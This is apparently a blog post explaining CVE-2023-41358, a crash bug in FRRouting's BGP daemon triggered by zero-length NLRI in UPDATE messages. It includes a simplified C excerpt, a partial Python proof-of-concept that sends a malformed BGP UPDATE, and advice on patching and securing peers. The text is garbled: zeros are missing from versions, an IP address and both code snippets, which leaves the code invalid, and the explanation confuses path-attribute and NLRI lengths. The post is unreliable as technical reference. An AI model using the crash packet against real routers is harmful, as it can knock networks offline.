CVE CyberSecurity Database News

CVE-2023-41358 - Critical FRRouting BGP Bug — How Attribute Length Zero Can Crash Your Routers

Poster -

A serious issue has surfaced in FRRouting (FRR) versions up to 9., tracked as CVE-2023-41358. The pfault lies in how the BGP daemon (bgpd) handles certain BGP UPDATE messages: if a Network Layer Reachability Information (NLRI) attribute length is zero, the system still processes it incorrectly. This can trigger crashes or undefined behavior, attacking the stability of entire networking environments relying on FRR.

This is an exclusive guide: We break down what the vulnerability is, why it matters, and how exploits can work. Code snippets included!

1. What is FRR and Why Should I Care?

FRRouting (FRR) is the open-source routing stack at the heart of many routers: cloud platforms, datacenters, enterprise networks, even home labs. It supports all modern routing protocols, especially BGP, and is found in systems like Cumulus Linux, SONiC, and VyOS.

If you use BGP with FRR, you are at risk. Attackers connected to your BGP peering networks might crash routers or perform other attacks.

The Component

The bug is in the file bgpd/bgp_packet.c — this handles parsing and processing BGP packets, particularly UPDATE messages.

Network Layer Reachability Information (NLRI) is a structure in BGP updates that carries routing info (what IP prefixes are reachable).

According to the BGP RFC 4271, UPDATE messages have attributes with explicit lengths — a zero length usually means "no data; ignore."

FRR’s bgpd processes the NLRI even if the attribute length is zero.

Instead of validating or skipping empty fields, FRR trusts the data and tries to process NLRI fields that are zero bytes long. This can lead to out-of-bounds memory access or logic errors.

Practical Meaning

A malicious BGP peer (even a misconfigured one) can send a crafted UPDATE packet with the attribute length set to zero. As FRR doesn’t check properly, this can crash FRR — resulting in a denial of service. In some cases (depending on how memory errors play out), it might allow remote code execution, but primarily this is a crash/DoS issue.

Here’s a simplified version based on upstream FRR code

// In bgpd/bgp_packet.c (simplified)
if (attr->length == ) {
    // Should skip or warn — but it continues to parse!
    process_nlri(attr->data, attr->length); // attr->length == 
}

Correct behavior: Should check for zero and skip process_nlri.

Actual behavior: Calls it even if the length is zero.

4. Exploit Details

With BGP, any peer can send updates, so it’s enough for an authenticated peer on any network, or an attacker who manages to become a peer (or hijacks a route via a supply chain attack).

Connect to FRR with a valid BGP session.

2. Send a BGP UPDATE packet with a path attribute whose length is set to zero. For NLRI, this means sending an attribute with zero bytes.

Here’s a *conceptual* snippet (You need to run this on a network where you control a BGP peer)

import socket

def send_bgp_update_with_empty_nlri(ip, port=179):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    # Handshake steps: BGP OPEN etc — omitted for brevity

    # Fake BGP header for UPDATE
    marker = b'\xff' * 16
    # BGP UPDATE with zero-length NLRI
    update_length = 23
    bgp_type_update = 2

    # Withdrawn routes len=
    withdrawn_len = b'\x00\x00'
    # Path attr len= (vulnerable part)
    path_attr_len = b'\x00\x00'
    # NLRI would start after this, but is omitted/zero

    update_packet = marker + bytes([, update_length, bgp_type_update]) + withdrawn_len + path_attr_len
    s.sendall(update_packet)
    s.close()

# Usage example (WARNING: Do this only on your test network!)
# send_bgp_update_with_empty_nlri('192..2.1')

This snippet will *not* establish a full BGP session (real-world exploits would build a full session and then send the bad UPDATE).

5. Impact

- Anyone peering with your routers (including upstreams, IXPs, misconfigured BGP sessions) can potentially crash your routing stack.

You might lose connectivity until FRR is restarted.

- No authentication beyond BGP session is needed — this is not a "remote internet wide" bug, but still high risk for peered or co-hosted environments.

6. Mitigation

- Upgrade immediately to FRR 9..1 or later! Get the latest FRR here.

Block untrusted BGP peers.

- Use GTSM or TCP MD5 signatures to protect BGP sessions.

7. Official References

- FRR Security Advisory (Issue #14193)
- CVE Details
- FRR 9..1 Release Notes

8. Final Words

Don’t let a simple check break your network. CVE-2023-41358 shows how missing input validation in core routing code can have wide impacts. Always patch early, monitor your BGP sessions, and keep an eye on security bulletins.

Timeline

Published on: 08/29/2023 04:15:00 UTC
Last modified on: 09/19/2023 22:15:00 UTC